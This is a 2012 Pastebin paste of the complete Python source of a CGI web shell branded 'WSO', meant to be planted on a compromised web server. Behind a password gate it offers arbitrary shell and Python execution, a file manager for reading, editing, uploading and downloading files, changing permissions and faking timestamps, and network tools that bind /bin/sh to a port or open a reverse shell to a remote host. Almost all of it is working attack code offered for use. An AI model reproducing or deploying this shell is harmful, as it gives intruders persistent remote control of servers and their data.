MrAaMa

python Shell

Mar 14th, 2012
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 20.63 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #Shell By Mr.AaMa [ehcommunity.com] © 2012
  3. import sys, os, cgi, commands, time, Cookie, socket
  4. from stat import *
  5. from datetime import datetime
  6. sys.stderr = open(os.devnull, 'w')
  7.  
  8. password = "63a9f0ea7bb98050796b649e85481845"
  9. version = "0.1 [py]"
  10.  
  11.  
  12. def getall(theform, nolist = False):
  13.     data = {}
  14.     for field in theform.keys():
  15.         if type(theform[field]) ==  type([]):
  16.             if not nolist:
  17.                 data[field] = theform.getlist(field)
  18.             else:
  19.                 data[field] = theform.getfirst(field)
  20.         elif theform[field].filename:
  21.             _FILES[field] = theform[field]
  22.         else:
  23.             data[field] = theform[field].value
  24.     return data
  25.  
  26. def escape(str):
  27.     return str.replace("'", "\\'").replace("\r", "\\r").replace("\n", "\\n")
  28.  
  29. _FILES = {}
  30. _REQUEST = getall( cgi.FieldStorage() )
  31. if _REQUEST.has_key('charset') == False:
  32.     _REQUEST['charset'] = "Windows-1251"
  33. if _REQUEST.has_key('a') == False:
  34.     _REQUEST['a'] = "files"
  35. if _REQUEST.has_key('c') == False:
  36.     _REQUEST['c'] = os.getcwd()
  37. if _REQUEST.has_key('p1') == False:
  38.     _REQUEST['p1'] = ""
  39. if _REQUEST.has_key('p2') == False:
  40.     _REQUEST['p2'] = ""
  41. if _REQUEST.has_key('p3') == False:
  42.     _REQUEST['p3'] = ""
  43.  
  44. _COOKIE = Cookie.SimpleCookie()
  45. try:
  46.     _COOKIE.load(os.environ["HTTP_COOKIE"])
  47. except:
  48.     pass
  49.  
  50. def printLogin():
  51.     _COOKIE['psswd'] = "";
  52.     print _COOKIE;
  53.     print "Content-type: text/html\n";
  54.     print """<center><form method=post>Password: <input type=password name=psswd><input type=submit value='&gt;&gt;'></form></center>"""
  55.     exit()
  56.  
  57. if _COOKIE.has_key('psswd') and len(_COOKIE['psswd'].value) > 0 :
  58.     if _COOKIE['psswd'].value != password:
  59.         printLogin()
  60. elif _REQUEST.has_key('psswd'):
  61.         try:
  62.             import hashlib
  63.             psswd = hashlib.md5()
  64.         except:
  65.             import md5
  66.             psswd = md5.new()
  67.         psswd.update(_REQUEST['psswd'])
  68.         if psswd.hexdigest() != password:
  69.             printLogin()
  70.         else:
  71.             _COOKIE['psswd'] = psswd.hexdigest()
  72. else:
  73.     printLogin()
  74.  
  75. print _COOKIE
  76. home_dir = os.getcwd()
  77.  
  78. try:
  79.     os.chdir(_REQUEST['c'])
  80. except os.error, msg:
  81.     pass
  82.  
  83. cwd = os.getcwd();
  84. if cwd[-1] != '/':
  85.     cwd += '/'
  86.  
  87. def printHeader():
  88.     print "Content-type: text/html\n";
  89.     print "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" + _REQUEST['charset'] + "'><title>" + os.environ["SERVER_NAME"] + " - WSO " + version + """</title>
  90.    <style>
  91.        body{background-color:#444;color:#e1e1e1;}
  92.        body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  93.        table.info{ color:#fff;background-color:#222; }
  94.        span,h1,a{ color:#df5 !important; }
  95.        span{ font-weight: bolder; }
  96.        h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  97.        div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  98.        a{ text-decoration:none; }
  99.        a:hover{ text-decoration:underline; }
  100.        .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  101.        .bigarea{ width:100%;height:250px; }
  102.        input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,"Courier New"; }
  103.        form{ margin:0px; }
  104.        #toolsTbl{ text-align:center; }
  105.        .toolsInp{ width: 300px }
  106.        .main th{text-align:left;background-color:#5e5e5e;}
  107.        .main tr:hover{background-color:#5e5e5e}
  108.        .l1{background-color:#444}
  109.        pre,.m{font-family:Courier,Monospace;}
  110.    </style>
  111.    <script>
  112.        var c_ = '""" + escape(_REQUEST['c']) + """';
  113.        var a_ = '""" + escape(_REQUEST['a']) + """';
  114.        var p1_ = '""" + escape(_REQUEST['p1']) + """';
  115.        var p2_ = '""" + escape(_REQUEST['p2']) + """';
  116.        var p3_ = '""" + escape(_REQUEST['p3']) + """';
  117.        var charset_ = '""" + escape( _REQUEST['charset'] ) + """';
  118.        function g(a,c,p1,p2,p3,charset) {
  119.            if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
  120.            if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
  121.            if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
  122.            if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
  123.            if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
  124.            if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
  125.            document.mf.submit();
  126.        }
  127.    </script>
  128.    <head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
  129.    <form method=post name=mf style='display:none;'>
  130.    <input type=hidden name=a>
  131.    <input type=hidden name=c>
  132.    <input type=hidden name=p1>
  133.    <input type=hidden name=p2>
  134.    <input type=hidden name=p3>
  135.    <input type=hidden name=charset>
  136.    </form>"""
  137.     print '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Time:<br>Cwd:</span></td>'
  138.     print '<td><nobr>'
  139.     for x in os.uname():
  140.         sys.stdout.write(x+' ')
  141.     t = time.localtime()
  142.     print '</nobr><br>%s<br>%d-%.2d-%.2d %.2d:%.2d:%.2d <span>Server IP:</span> %s <span>Client IP:</span> %s<br>' %( commands.getoutput( 'id' ), t[0], t[1], t[2], t[3], t[4], t[5], os.environ['SERVER_ADDR'], os.environ['REMOTE_ADDR'])
  143.     path = ''
  144.     paths = cwd.split('/')
  145.     paths.pop()
  146.     for x in paths:
  147.         path += x + '/'
  148.         sys.stdout.write("""<a href="#" onclick="g('files','"""+escape(path)+"""', '', '', '')">"""+x+"""/</a>""")
  149.     print " " + permsColor(cwd),"""<a href='#' onclick="g('files','"""+ escape( home_dir ) +"""', '', '', '')">[ home ]</a>"""
  150.     charsets = ['UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866']
  151.     print '<td width=1 align=right><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'
  152.     for charset in charsets:
  153.         sys.stdout.write('<option value="%s" ' % charset)
  154.         if _REQUEST['charset'] == charset:
  155.              sys.stdout.write('selected')
  156.         sys.stdout.write('>%s</option>' % charset)
  157.     print '</optgroup></select><br></td></tr></table><table style="border-top:2px solid #333;text-align: center;" cellpadding=3 cellspacing=0 width=100%><tr>'
  158.     for x in ['Files', 'Console', 'Python', 'Network']:
  159.         print "<td width='100px'>[ <a href='#' onclick='g(\""+x.lower()+'", null, "", "", "")\'>'+x+'</a> ]</td>'
  160.     print '<td></td></tr></table><div style="margin:5">'
  161.  
  162. def printFooter():
  163.     if os.access (cwd, os.W_OK):
  164.         writable = "<font color=green>[ Writeable ]</font>"
  165.     else:
  166.         writable = "<font color=red>[ Not writable ]</font>"
  167.     print """</div>
  168. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style="border-top:2px solid #333;border-bottom:2px solid #333;">
  169.     <tr>
  170.         <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value='""" + cwd + """'><input type=submit value="&gt;&gt;"></form></td>
  171.         <td><form onsubmit="g('fileTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="&gt;&gt;"></form></td>
  172.     </tr>
  173.     <tr>
  174.         <td><form onsubmit="g('files',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value="&gt;&gt;"></form>"""+writable+"""</td>
  175.         <td><form onsubmit="g('fileTools',null,this.f.value,'save','');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value="&gt;&gt;"></form>"""+writable+"""</td>
  176.     </tr>
  177.     <tr>
  178.         <td><form onsubmit="g('console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value="&gt;&gt;"></form></td>
  179.         <td><form method='post' ENCTYPE='multipart/form-data'>
  180.         <input type=hidden name=a value='files'>
  181.         <input type=hidden name=c value='"""+cwd+"""'>
  182.         <input type=hidden name=p1 value='uploadFile'>
  183.         <input type=hidden name=charset value='"""+_REQUEST['charset']+"""'>
  184.         <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value="&gt;&gt;"></form>"""+writable+"""</td>
  185.     </tr>
  186.  
  187. </table>
  188. </div>
  189. </body></html>"""
  190.  
  191. def viewSize(s):
  192.     if s >= 1073741824:
  193.         return "%1.2f  GB" % (s / 1073741824.0);
  194.     elif s >= 1048576:
  195.         return "%1.2f  MB" % (s / 1048576.0);
  196.     elif s >= 1024:
  197.         return "%1.2f  KB" % (s / 1024.0);
  198.     else:
  199.         return str(s) + ' B';
  200.  
  201. def perms(p):
  202.     mode = os.lstat(p)[ST_MODE]
  203.     p = mode
  204.     i="";
  205.     if (p & 0xC000) == 0xC000:
  206.         i = 's'
  207.     elif (p & 0xA000) == 0xA000:
  208.         i = 'l'
  209.     elif (p & 0x8000) == 0x8000:
  210.         i = '-'
  211.     elif (p & 0x6000) == 0x6000:
  212.         i = 'b'
  213.     elif (p & 0x4000) == 0x4000:
  214.         i = 'd'
  215.     elif (p & 0x2000) == 0x2000:
  216.         i = 'c'
  217.     elif (p & 0x1000) == 0x1000:
  218.         i = 'p'
  219.     else:
  220.         i = 'u'
  221.     if p & 0x0100: i += 'r'
  222.     else: i += '-'
  223.     if p & 0x0080: i += 'w'
  224.     else: i += '-'
  225.     if  p & 0x0040:
  226.         if p & 0x0800: i += 's'
  227.         else: i += 'x'
  228.     else:
  229.         if p & 0x0800: i += 'S'
  230.         else: i+='-'
  231.     if p & 0x0020: i += 'r'
  232.     else: i += '-'
  233.     if p & 0x0010: i += 'w'
  234.     else: i += '-'
  235.     if  p & 0x0008:
  236.         if p & 0x0400: i += 's'
  237.         else: i += 'x'
  238.     else:
  239.         if p & 0x0400: i += 'S'
  240.         else: i += '-'
  241.     if p & 0x0004: i += 'r'
  242.     else: i += '-'
  243.     if p & 0x0002: i += 'w'
  244.     else: i += '-'
  245.     if  p & 0x0001:
  246.         if p & 0x0200: i += 't'
  247.         else: i += 'x'
  248.     else:
  249.         if p & 0x0200: i += 'T'
  250.         else: i += '-'
  251.  
  252.     return i;
  253.  
  254. def permsColor(path):
  255.     if not os.access (path, os.R_OK):
  256.         return "<font color='#FF0000'>"+perms(path)+"</font>"
  257.     elif os.access (path, os.W_OK):
  258.         return "<font color='#00BB00'>"+perms(path)+"</font>"
  259.     else:
  260.         return "<font color='white'>"+perms(path)+"</font>"
  261.  
  262. def actionConsole():
  263.     printHeader()
  264.     print "<h1>Console</h1><div class=content>"
  265.     print """<form name="cf" onSubmit="g(null, null, this.cmd.value);return false;" style="border:1px solid #df5;background-color:#555;"><textarea class=bigarea style="border:0px;" readonly>"""
  266.     if len(_REQUEST['p1']) > 0:
  267.         print '$', cgi.escape(_REQUEST['p1'])
  268.         print cgi.escape(commands.getoutput(_REQUEST['p1']))
  269.  
  270.     print '</textarea><table cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;"></td></tr></table>'
  271.     print "</form></div><script>document.cf.cmd.focus();</script>"
  272.     printFooter()
  273.  
  274. def actionFiles():
  275.     printHeader()
  276.     if _REQUEST['p1'] == 'uploadFile':
  277.         try:
  278.             if _FILES['f'].filename:
  279.                 fn = os.path.basename(_FILES['f'].filename)
  280.                 open(fn, 'wb').write(_FILES['f'].file.read())
  281.         except: pass
  282.     if _REQUEST['p1'] == 'mkdir':
  283.         try: os.mkdir(_REQUEST['p2'])
  284.         except: pass
  285.     print "<h1>File manager</h1><div class=content>"
  286.     item_stat = os.lstat('..')
  287.  
  288.     def dirItemInfo(name, item_stat):
  289.         if S_ISLNK(item_stat[ST_MODE]):
  290.             type = "link"
  291.         else:
  292.             type = "dir"
  293.         tmp = {
  294.                 'name'  : name,
  295.                 'path'  : os.path.join(cwd, name),
  296.                 'size'  : viewSize(item_stat[ST_SIZE]),
  297.                 'mtime' : datetime.fromtimestamp(item_stat[ST_MTIME]).strftime("%Y-%m-%d %H:%M:%S"),
  298.                 'uid'   : str(item_stat[ST_UID]),
  299.                 'gid'   : str(item_stat[ST_GID]),
  300.                 'perms' : permsColor(name),
  301.                 'type'  : type
  302.               }
  303.         return tmp
  304.     dirs = [dirItemInfo('..', os.lstat('..'))]
  305.     files = []
  306.  
  307.     for item in os.listdir(cwd):
  308.         item_stat = os.lstat(item)
  309.         mode = item_stat[ST_MODE]
  310.         tmp = dirItemInfo(item, item_stat)
  311.         if S_ISLNK(mode) or S_ISDIR(mode):
  312.             dirs.append(tmp)
  313.         elif S_ISREG(mode):
  314.             files.append(tmp)
  315.  
  316.     print "<table width='100%' class='main' cellspacing='0' cellpadding='2'><form method='post'>"
  317.     print """<tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>""";
  318.    
  319.     def sort(a, b):
  320.         return cmp(a['name'].lower(), b['name'].lower())
  321.  
  322.     line = 0
  323.     for item in sorted(dirs, sort):
  324.         print "<tr"
  325.         if line:
  326.             print " class=l1"
  327.         print "><td><a href='#' onclick='g(null,\""+escape(item['path'])+"\")'><b>[ "+cgi.escape(item['name'])+" ]</b></a></td><td>"+item['type']+"</td><td>"+item['mtime']+"</td><td>"+item['uid']+"/"+item['gid']+"</td><td><a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'chmod')\">"+item['perms']+"</a></td>"
  328.         print "<td><a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'rename')\">R</a> <a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'touch')\">T</a></td></tr>"
  329.         line = (line + 1)%2
  330.     for item in sorted(files, sort):
  331.         print "<tr"
  332.         if line:
  333.             print " class=l1"
  334.         print "><td><a href='#' onclick='g(\"fileTools\",null,\""+escape(item['name'])+"\")'>"+cgi.escape(item['name'])+"</a></td><td>"+item['size']+"</td><td>"+item['mtime']+"</td><td>"+item['uid']+"/"+item['gid']+"</td><td><a href=# onclick=\"g('fileTools', null, '"+escape(item['path'])+"', 'chmod')\">"+item['perms']+"</a></td>"
  335.         print "<td><a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'rename')\">R</a> <a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'touch')\">T</a> <a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'edit')\">E</a> <a href=# onclick=\"g('fileTools', null, '"+escape(item['name'])+"', 'download')\">D</a></td></tr>"
  336.         line = (line + 1)%2
  337.  
  338.     print "</form></table></div>"
  339.     printFooter()
  340.  
  341. def actionFileTools():
  342.     if _REQUEST['p2'] == "":
  343.         _REQUEST['p2'] = "view"
  344.     if _REQUEST['p2'] == "download":
  345.         print "Content-Disposition: attachment; filename=" + os.path.basename(_REQUEST['p1']) + "\n"
  346.         try:
  347.             fp = open(_REQUEST['p1'], 'rb')
  348.             for x in fp.readlines():
  349.                 sys.stdout.write(x)
  350.             fp.close()
  351.         except: pass
  352.         return
  353.     if _REQUEST['p2'] == "save":
  354.         try:
  355.             fp = open(_REQUEST['p1'], 'w')
  356.             fp.write(_REQUEST['p3'])
  357.             fp.close()
  358.         except: pass
  359.         _REQUEST['p2'] = 'edit'
  360.     printHeader()
  361.     print "<h1>File tools</h1><div class=content>"
  362.     item_stat = os.stat(_REQUEST['p1'])
  363.     print "<span>File: </span>" + os.path.basename(_REQUEST['p1']) + " <span>Size: </span> " +viewSize(item_stat[ST_SIZE]) + " <span>Permission:</span> " +permsColor(_REQUEST['p1'])
  364.     print "<br/>"
  365.     if S_ISDIR(item_stat[ST_MODE]):
  366.         menu = ['Chmod', 'Rename', 'Touch']
  367.     else:
  368.         menu = ['View', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch']
  369.     for x in menu:
  370.         print "<a href=# onclick=\"g(null, null, null, '"+x.lower()+"')\">"
  371.         if x.lower() == _REQUEST['p2']:
  372.             print "<b>[ " + x + " ]</b>"
  373.         else:
  374.             print x
  375.         print "</a> "
  376.     print "<br><br>";
  377.     if _REQUEST['p2'] == "view":
  378.         try:
  379.             fp = open(_REQUEST['p1'], 'r')
  380.             print "<pre class=ml1>"
  381.             for x in fp.readlines():
  382.                 sys.stdout.write(cgi.escape(x))
  383.             fp.close()
  384.             print "</pre>"
  385.         except:
  386.             print "Can't open file! "+_REQUEST['p1']
  387.     if _REQUEST['p2'] == "edit":
  388.         try:
  389.             fp = open(_REQUEST['p1'], 'r')
  390.             print "<form onsubmit=\"g(null,null,'"+escape(_REQUEST['p1'])+"', 'save', this.f.value);return false;\"><textarea name=f class=bigarea>"
  391.             for x in fp.readlines():
  392.                 sys.stdout.write(cgi.escape(x))
  393.             fp.close()
  394.             print "</textarea><input type='submit' value='&gt;&gt;'></form>"
  395.         except:
  396.             print "Can't open (create) file! "+_REQUEST['p1']
  397.     if _REQUEST['p2'] == "chmod":
  398.         import stat, string
  399.         if len(_REQUEST['p3']):
  400.             perm = string.atoi(_REQUEST['p3'], 8)
  401.             try:
  402.                 os.chmod(_REQUEST['p1'], perm)
  403.                 print "Done"
  404.             except: print "Fail!"
  405.         print "<form onsubmit=\"g(null,null,'"+escape(_REQUEST['p1'])+"', 'chmod', this.p.value);return false;\"><input type='text' name='p' value='"
  406.         print "%o" % stat.S_IMODE(os.stat(_REQUEST['p1'])[ST_MODE])
  407.         print "'/><input type='submit' value='&gt;&gt;'></form>"
  408.     if _REQUEST['p2'] == "rename":
  409.         if len(_REQUEST['p3']):
  410.             try:
  411.                 os.rename(_REQUEST['p1'], _REQUEST['p3'])
  412.                 _REQUEST['p1'] = _REQUEST['p3']
  413.                 print "Done<script>p2_='" + escape(_REQUEST['p3']) + "'</script>"
  414.             except: print "Fail!"
  415.         print "<form onsubmit=\"g(null,null,'"+escape(_REQUEST['p1'])+"', 'rename', this.n.value);return false;\"><input type='text' name='n' value='" + escape(_REQUEST['p1'])+ "'/><input type='submit' value='&gt;&gt;'></form>"
  416.  
  417.     if _REQUEST['p2'] == "touch":
  418.         if len(_REQUEST['p3']):
  419.             try:
  420.                 tmstmp = time.mktime(time.strptime(_REQUEST['p3'], "%Y-%m-%d %H:%M:%S"))
  421.                 os.utime(_REQUEST['p1'], (tmstmp, tmstmp))
  422.                 item_stat = os.stat(_REQUEST['p1'])
  423.                 print "Done"
  424.             except: print "Fail!"
  425.         print "<form onsubmit=\"g(null,null,'"+escape(_REQUEST['p1'])+"', 'touch', this.n.value);return false;\"><input type='text' name='n' value='"
  426.         print datetime.fromtimestamp(item_stat[ST_MTIME]).strftime("%Y-%m-%d %H:%M:%S")
  427.         print "'/><input type='submit' value='&gt;&gt;'></form>"
  428.  
  429.     print "</div>"
  430.     printFooter()
  431.  
  432. def actionPython():
  433.     printHeader()
  434.     print "<h1>Exec python code</h1><div class=content>"
  435.     print """<form name="cf" onSubmit="g(null, null, this.c.value);return false;"><textarea class=bigarea name=c>"""
  436.     print '</textarea><input type=submit value="&gt;&gt;">'
  437.     if len(_REQUEST['p1']) > 0:
  438.         print '<pre class="ml1" style="margin-top:5px;">'
  439.         try:
  440.             import StringIO
  441.             old_stdout = sys.stdout
  442.             sys.stdout = StringIO.StringIO()
  443.             exec(_REQUEST['p1'])
  444.             data = sys.stdout.getvalue()
  445.             sys.stdout = old_stdout
  446.             print cgi.escape(data)
  447.         except:
  448.             pass
  449.         print '</pre>'
  450.     print "</form></div>"
  451.     printFooter()
  452.  
  453. def actionNetwork():
  454.     printHeader()
  455.     print """<h1>Network tools</h1><div class=content>
  456.    <form name='nfp' onSubmit="g(null,null,'bp',this.port.value);return false;">
  457.     <span>Bind port to /bin/sh</span><br/>
  458.     Port: <input type='text' name='port' value='31337'><input type=submit value=">>">
  459.     </form>
  460.     <form name='nfp' onSubmit="g(null,null,'bc',this.server.value,this.port.value);return false;">
  461.     <span>Back-connect to</span><br/>
  462.     Server: <input type='text' name='server' value='"""+os.environ['REMOTE_ADDR']+"""'> Port: <input type='text' name='port' value='31337'><input type=submit value=">>">
  463.     </form><br>"""
  464.     if _REQUEST['p1'] != "":
  465.         sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  466.         sock.settimeout(10)
  467.     if _REQUEST['p1'] == "bp":
  468.         try:
  469.             sock.bind(('localhost', int(_REQUEST['p2'])))
  470.             sock.listen(0)
  471.         except:
  472.             print "error"
  473.         else:
  474.             print "done"
  475.         if os.fork()!=0:
  476.             (c,addr)=sock.accept()
  477.             os.dup2(c.fileno(), 0)
  478.             os.dup2(c.fileno(), 1)
  479.             os.dup2(c.fileno(), 2)
  480.             os.system('/bin/sh -i')
  481.             c.shutdown(2)
  482.             sock.shutdown(2)
  483.     elif _REQUEST['p1'] == "bc":
  484.         try:
  485.             sock.connect( (_REQUEST['p2'], int(_REQUEST['p3'])) )
  486.         except:
  487.             print "error"
  488.         else:
  489.             print "done"
  490.             if os.fork()!=0:
  491.                 os.dup2(sock.fileno(), 0)
  492.                 os.dup2(sock.fileno(), 1)
  493.                 os.dup2(sock.fileno(), 2)
  494.                 os.system('/bin/sh -i')
  495.                 sock.shutdown(2)
  496.     print "</div>"
  497.     printFooter()
  498.  
  499.  
  500. try:
  501.     {
  502.         'files' : actionFiles,
  503.         'fileTools' : actionFileTools,
  504.         'console' : actionConsole,
  505.         'python' : actionPython,
  506.         'network' : actionNetwork
  507.     }[_REQUEST['a']]()
  508. except KeyError:
  509.     printHeader()
  510.     printFooter()
Advertisement
Add Comment
Please, Sign In to add comment